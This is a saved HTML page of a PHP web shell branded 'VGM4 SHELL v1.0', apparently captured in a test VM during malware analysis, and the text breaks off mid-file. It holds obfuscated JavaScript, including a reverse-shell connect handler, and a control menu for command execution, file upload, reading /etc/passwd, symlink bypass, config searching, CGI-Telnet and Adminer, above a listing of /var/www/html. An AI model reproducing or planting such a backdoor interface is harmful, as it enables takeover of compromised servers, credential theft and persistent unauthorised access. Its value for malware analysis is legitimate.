XMLHttpRequest;e.open("post",basename(),!0),e.onload=function(){if(4==e.readyState){"ok"==JSON.parse(this.response).status?show_popup("Check your listener!",3e3,"success"):show_popup("Reverse shell can not be created!",3500,"alert"),A.disabled=!1,A.innerHTML="CONNECT"}},e.send(t)}}window.addEventListener("DOMContentLoaded",function(){if(check_disable())return;check_update(),check_update2(),document.title=atob("VkdNNCBTSEVMTA==")+" v"+release,document.querySelector(".mwsbox .title h3").innerHTML=atob("VkdNNCBTSEVMTA==")+" v"+release;let e=document.querySelectorAll(".mwsbox .title ul li span");e[0].innerHTML=atob("V2ViIHNlcnZlciBzb2Z0d2FyZTo="),e[1].innerHTML=atob("S2VybmVsOg=="),e[2].innerHTML=atob("UnVubmluZyBhczo="),e[3].innerHTML=atob("VG90YWwgdXNlcnM6"),e[4].innerHTML=atob("VG90YWwgZ3JvdXBzOg=="),e[5].innerHTML=atob("c2FmZV9tb2RlOg=="),e[6].innerHTML=atob("b3Blbl9iYXNlZGlyOg=="),e[7].innerHTML=atob("RGlzYWJsZWQgZnVuY3Rpb25zOg=="),e[8].innerHTML=atob("dXBsb2FkX21heF9maWxlc2l6ZTo="),e[9].innerHTML=atob("TG9hZGVkIGV4dGVuc2lvbnM6"),e[10].innerHTML=atob("U2VydmVyIEluZm9ybWF0aW9uOg=="),e[11].innerHTML=atob("Q3VycmVudCBEaXJlY3Rvcnk6"),e[12].innerHTML=atob("Q2hhbmdlIERpcmVjdG9yeTo="),e[13].innerHTML=atob("UmVhZCBGaWxlOg=="),list_dir(),document.addEventListener("click",function(e){let t=document.querySelectorAll(".toggle font"),A=document.querySelectorAll(".toggle"),n=document.querySelectorAll(".toggle span"),i=document.querySelectorAll("i");"screen"!==e.target.id&&-1==[].slice.call(t).indexOf(e.target)&&-1==[].slice.call(A).indexOf(e.target)&&-1==[].slice.call(n).indexOf(e.target)&&-1==[].slice.call(i).indexOf(e.target)&&e.target.offsetParent&&"screen"!==e.target.offsetParent.id&&(document.getElementById("screen").style.visibility="hidden",document.getElementById("screen").style.opacity="0",document.getElementById("screen").style.top="-50%",setTimeout(function(){empty_process_screen()},250))}),document.onkeyup=function(e){27==e.keyCode&&"visible"==document.getElementById("screen").style.visibility&&(document.getElementById("screen").style.visibility="hidden",document.getElementById("screen").style.opacity="0",document.getElementById("screen").style.top="-50%")},working_dir=document.getElementById("curr_dir").value,sessionStorage.getItem("work")||setWork()});
    </script>
    <link rel="icon" href="http://vgm4team.xyz/images/favico.ico">
<title>VGM4 SHELL v1.0</title></head>
<body>
<div class="holder">
 
    <div class="mwsbox">

        <div class="bottom-menu">
            <ul>
                <li class="toggle" onclick="reverse_shell();"><img style="width:16px;height:16px;" src="data:image/png;base64,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"><span>Reverse Shell</span></li>
                <li class="toggle" onclick="run_command();"><i class="fas fa-terminal"></i><span>Run Command</span></li>
                <li class="toggle" onclick="file_upload();"><i class="fas fa-file-upload"></i><span>File Upload</span></li>
                <li class="toggle" onclick="create_file();"><i class="fas fa-file"></i><span>Create File</span></li>
                <li class="toggle" onclick="create_dir();"><i class="fas fa-folder-plus"></i><span>Create Directory</span></li>
                <li class="toggle" onclick="download_folder();"><i class="fas fa-file-archive"></i><span>Download Folder</span></li>
                <li class="toggle" onclick="search_disk();"><i class="fas fa-search"></i><span>Search Disk</span></li>
                <li class="toggle" onclick="read_passwd();"><i><img src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAoklEQVQ4je2QQQ3CUBBEHziohVqohVrAQpGABTQgASxUApUAEkDC48CQLIQQAjfCJJP/d3d2shn442vM1E93B2BERW3VJrzVvOh1XjGgDilO4SLvSt2rh9JbFJ3qMC8nLYEJWAMj0AEt0AA9cMxsihaAanAOiahPfcx/90R3Z7CNcJMLmhiNuWTKrI/2ipJBVwKrwdYAa7CtCgnm8LD8Nn8AF5fx6FYl7EMnAAAAAElFTkSuQmCC"></i><span>Read /etc/passwd</span></li>
                <li class="toggle" onclick="symlink();"><i><img style="width:16px;height:16px;" src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABJ0lEQVRYhe2T0W3DIBCGP3cDOoI7gjtCV/AK7gjxCM4I7QjpCPEIyQhZIRnh70OO6ESgjpo+RCqfhA6OA/47ACqVSqVSeSQkIWmQtJW0k7SRFCR1Nt5Jai0O5/PzQ9IPkia3XyupKOBNZ462QGYxUZK0ckIl6WCHlDhkxpcznxINndkZeAdG6wezAIPZ3uxnsscIPANfzvcCvAInoHVrryoQXOYx+8GVPGYTsz/aGl+BYLFTUsF4ZZJ0EZBWIABrl30LfLjKxKwmNz5ls7mRVEAPbDiXOWTio4A4l5b/bgFr27QDVuYbgb31907E7Px/g7ur4O4ybfEd9Ik/tya3R9AP33Cp+a93S3yxRdIrWKL09X5N4wfF0lwLmLnz9TdNsxxUqVT+Bd9dUuNpd1va5QAAAABJRU5ErkJggg=="></i><span>SYM Bypass</span></li>
                <li class="toggle" onclick="config_searcher();"><i><img style="width:16px;height:16px;" src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABIklEQVRYhe1V2w2DMAy8Vl0gK7ACK9ARmIUV2hFYgRVgBDpCGaEd4fpRu7IChED5IydFMY6TO+w8gISEhISj4zQ3QDJ2jRJABuAeJDrNUs0LiGg9v+iXYlcjgrwU8pfYmwScI7RUAHppNQBn/IpCegegkdjGzK1X/T3wy8CNY/Qk3YTPlmQ0Z4sAS1KQzEi2QlKaEii5LYnG//bIHM8loKEw9gPAG8DV+EovPpd+ANCJ3Rn/agEPYzsRUIndTcQPJlaRhciDkLS2ksKnSedL0uuXwMmYH795D+iirVnoSTL3am7vgFxiVKjO3SzACnEcn2/n2bo51a+nqPlXQGzTEjRCrt/VMuM+AnJDqqgZuAn3eIymoEd0gJym1Y9RQkLCYfABnDR7je5K+3YAAAAASUVORK5CYII="></i><span>Config Searcher</span></li>
                <li class="toggle" onclick="cgi_telnet();"><i><img style="width:16px;height:16px;" src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAACc0lEQVRYhe2X3XHqMBCFP5g04JRgSuCWQEogJZgSoAT8npdQApQAJeAS4hJwCcnD7o7WhgEZ29wXnxmN/KOfo9090gpGjBhxF5PV19er55wDJVDFNJ4Oy+UKa+AM/ABpTIdXEzQksQ3fhmRxAzlQIO4tYzq0sWAKfAMXLXsknjzWiPsuwFbfj1oAMv22jZ001oIpEjveNUtgAXwgVjFCnmwTifaJRqwF1zp4BXwqqUq/ZcgCjNBJ/6+IVOo9tLEgwEELwLv7762yIsSXJ/4U2qq4s0XaIpagWWSJuDVBRHJELOSJm8XmiPtfQnCndUpQsYmk0HLSNhnwy7WoBiVYIIHv964SEYwR88/oc/4qgjbhDJhomREEA+LSHBHPBFmQodA6d/2j0OdJskdcWgAbwhbkCbZGn2fxRus5Ih4jXNHB1X1acIfEZUYQR4mQizp3b6HvZOFEXSid8b/SrWg8a8GEkMlY+jQIpoR0qM2ub0I4cp1ydUXmxuaNcND3GjsdUEvJfAwac/9+Jhxb97ISb9EM2WIu+r5stF3o/18kuf0mqD6j7smjj8GUkFY1k8+5K583CPpV+9RroWWGbDVLJefnzLTNPx3HX6YW3oI75HjyOdwGOZaM1JLHMXdQQn4hZsWta/Ou7SpH9EBITAA+PMESicPaCrgW0KOU3TbsAyGurU/q6j3iXj9uSX1TP7XZZmyyvreUolHX4An648mQI8Tm1NUedem+gVL7HnTsRwlFMnU/1oiyzD0g7j1r2SKx9PS5SoivLaLgH4IgbVw//mWKXHKa7FeEDMREYSLqghwRngkjIdwCjZhZ9+X3nxEjRgyBP3xcmbgIVhRmAAAAAElFTkSuQmCC"></i><span>CGI-Telnet</span></li>
                <li class="toggle" onclick="adminer();"><i><img style="width:16px;height:16px;" src="data: image/x-icon;base64,AAABAAEAEBAQAAEABAAoAQAAFgAAACgAAAAQAAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AAAA/wBhTgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAERERAAAAAAETMzEQAAAAATERExAAAAABMRETEAAAAAExERMQAAAAATERExAAAAABMRETEAAAAAEzMzMREREQATERExEhEhABEzMxEhEREAAREREhERIRAAAAARIRESEAAAAAESEiEQAAAAABEREQAAAAAAAAAAD//9UAwP/VAIB/AACAf/AAgH+kAIB/gACAfwAAgH8AAIABAACAAf8AgAH/AMAA/wD+AP8A/wAIAf+B1QD//9UA"></i><span>Adminer</span></li>
            </ul>
        </div>

        <div class="popup-box alert">
        </div>
        <div class="popup-box success">
        </div>

        <div class="title">

            <h3>VGM4 SHELL v1.0</h3>
            <h4><a href="http://vgm4team.xyz">VGM4 Website<p>&nbsp;</p></a></h4>
            <h4><a href="http://mrvgunz.xyz">MrVGunz &amp;</a><a href="#"> MrH4ted<p>&nbsp;</p></a></h4>
            <ul>
                <li><span>Web server software:</span> Apache/2.4.52 (Ubuntu) | PHP Version: 7.2.34-37+ubuntu22.04.1+deb.sury.org+1</li>
                <li><span>Kernel:</span> Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</li>
                <li><span>Running as:</span> uid=1000(osboxes) gid=1000(osboxes)</li>
                <li><span>Total users:</span> <font class="toggle" style="cursor:pointer;text-decoration:underline;color:#ff0000;font-weight:bold" onclick="user_list();">47</font></li>
                <li><span>Total groups:</span> <font class="toggle" style="cursor:pointer;text-decoration:underline;color:#ff0000;font-weight:bold" onclick="group_list();">76</font></li>
                <li><span>safe_mode:</span> <strong><font style="color:#00ff00">OFF</font></strong> </li>
                <li><span>open_basedir:</span> <strong><font style="color:#00ff00">OFF</font></strong></li>
                <li><span>Disabled functions:</span> <font style="color:red">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font></li>
                <li><span>upload_max_filesize:</span> 2M</li>
                <li><span>Loaded extensions:</span> <p>Core,date,libxml,openssl,pcre,zlib,filter,hash,Reflection,SPL,session,sodium,standard,apache2handler,curl,PDO,calendar,ctype,exif,fileinfo,ftp,gettext,iconv,json,Phar,posix,readline,shmop,sockets,sysvmsg,sysvsem,sysvshm,tokenizer,xdebug,Zend OPcache</p></li>
                <li><span>Server Information:</span> <p> [ <strong>IP Address:</strong> ::1 , <strong>Country:</strong>  , <strong>City:</strong>  , <strong>Region:</strong>  , <strong>Timezone:</strong>  ]</p></li>
                <li style="margin-top:5px"><span>Current Directory:</span><p></p><form method="post" style="display:flex;align-items:center" onsubmit="event.preventDefault();"><div id="path"><strong style="cursor:pointer;font-size:16px;" onclick="list_dir(&quot;/&quot;)">/</strong><strong style="cursor:pointer;font-size:16px;" onclick="list_dir(&quot;/var/&quot;)">var/</strong><strong style="cursor:pointer;font-size:16px;" onclick="list_dir(&quot;/var/www/&quot;)">www/</strong><strong style="cursor:pointer;font-size:16px;" onclick="list_dir(&quot;/var/www/html/&quot;)">html/</strong></div></form><p></p></li> 
                <li style="margin-top:5px"><span>Change Directory:</span><p></p><form method="post" style="display:flex;align-items:center" onsubmit="event.preventDefault();"><input type="text" style="background:none;border:1px solid rgba(255,255,255,.3);width:600px;height:35px;padding-left:5px;" autocomplete="off" required="" id="curr_dir" value=""><button onclick="change_dir();" style="margin-left:5px;text-align:center;height:35px;cursor:pointer;font-weight:bold;border:none;background:rgba(0,0,0,.2);color:#00ff00;padding:10px;width:150px;text-align:center">Change dir</button></form><p></p></li>
                <li style="margin-top:5px"><span>Read File:</span><p></p><form method="post" style="display:flex;align-items:center" onsubmit="event.preventDefault();"><input class="toggle" type="text" style="background:none;border:1px solid rgba(255,255,255,.3);width:600px;height:35px;padding-left:5px;" autocomplete="off" required="" id="read_file" value=""><button class="toggle" onclick="readfile();" style="margin-left:5px;text-align:center;height:35px;cursor:pointer;font-weight:bold;border:none;background:rgba(0,0,0,.2);color:#00ff00;padding:10px;width:150px;text-align:center">Read File</button></form><p></p></li>

            </ul>
        </div>
        
        <div class="inner">
        <div class="loaderhold"><div class="loader" style="display: none;"></div></div>
            <table cellspacing="0" cellpadding="0" style="display: table;">
                <thead>
                    <tr>
                        <th style="text-align:center;"></th>
                        <th style="text-align:left;">Name</th>
                        <th>Size</th>
                        <th>Last Modified</th>
                        <th>Permissions</th>
                        <th>Action</th>
                    </tr>
                </thead>
                
                <tbody>

                <tr id="tr_0"><td style="text-align: center;"><i class="fas fa-folder" style="color:#d6b172;"></i></td><td style="text-align: left;"><span onclick="list_dir('/var/www/html/..');"><i class="fas fa-arrow-left"></i></span></td><td>DIR</td><td>12/02/2023 - 21:10:37</td><td><span class="toggle" onclick="set_chmod('/var/www/html/..','0777');"><font style="color:green">drwxrwxrwx</font></span></td><td></td></tr><tr id="tr_1"><td style="text-align: center;"><i class="fas fa-file"></i></td><td style="text-align: left;"><span class="toggle" onclick="edit_file('/var/www/html/beneri.se_malware_analysis','tr_1');">beneri.se_malware_analysis</span></td><td>0.00B</td><td>12/02/2023 - 21:10:37</td><td><span class="toggle" onclick="set_chmod('/var/www/html/beneri.se_malware_analysis','0644');"><font style="color:white">-rw-r--r--</font></span></td><td><div class="icons"><i class="fas fa-edit" style="color:#ffcf41" title="Edit" onclick="edit_file('/var/www/html/beneri.se_malware_analysis','tr_1');"></i><i class="fas fa-trash-alt" title="Remove" onclick="remove_file('/var/www/html/beneri.se_malware_analysis','tr_1');" style="color:#f55858;"></i><i class="fas fa-file-download" title="Download" onclick="download_file('/var/www/html/beneri.se_malware_analysis');" style="color:#fff"></i></div></td></tr><tr id="tr_2"><td style="text-align: center;"><img style="width:17px;height:17px;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAADbxJREFUeF7tWQlYVWUafs85d2W/cFnEJcVMWzR3A23CpVDGBpfBGrNMkybH0TJrlDHMtDJts3RMR7NGzSUVR9HQHENCTEBcQNRQEAi8V+TChQt3Oes851w5QFwWMeYZH/meh4dz/vNt//t/3/d//38J3ONE3OPzRwcAHRFwjyPQkQL3eAB0FMGOFOhIgXscgY4UuMcDoGMX6EiBjhRoJwQysgpDGJ7vZafZnixDh9gZLtDhYPW0g9XbGMbbRjMUbWcVVoaG3cGydgfL0Q7GXGNnTA47W+agmRs2ls3jaEc+b7fkfr817lp7uPqbpEBOTqkH6SYMJ0khXGAxjBMwgOVYn+oaGmWVdpgtdlTW0LDaGFhpDgzDgWE5cBwPjhfA8Tz4W/85lgUj/jE0bHYHaEcNGIcNLGOv4Gj7WYZ1pPEMc9zmMKdmfb+15k5BaTMA6TnXgtSUcqJKRU5SKRVPMJygLDZWo9BogaGsGsZyG2pszJ36J8lzHAvGYYXNWgWrxYRqcykc9hqGZRzHeca+V3DY/n0h7cCNthi7LQCWCgL5RPqVSJWKjNFqVJFVNayi0GBB7i+VMJTVQBCEtvhw+zKCAFuNGeayYphuXENVuZHlWNtBnqU35Z9LSgTAt1ZpqwBISkpSmHndn7QqZSxBUQ8WGWuQW1QphfftkIIiETEkALTDKomRBInLBh6FhqrbUdOIV4yKG0UXUXLtPGyWiosc61hhuNpzB7Cba0lxiwBsjk8bpVWTn4Kk+hUYrci/bgHLtm2le3T2Rtq+93Ho0CHJrwcffBBz3tmGzEttit5Gc+NYGiV555B/IRlWc+llmmZerzDmihHRJDUJwOfbvvNSKDzWqpTK5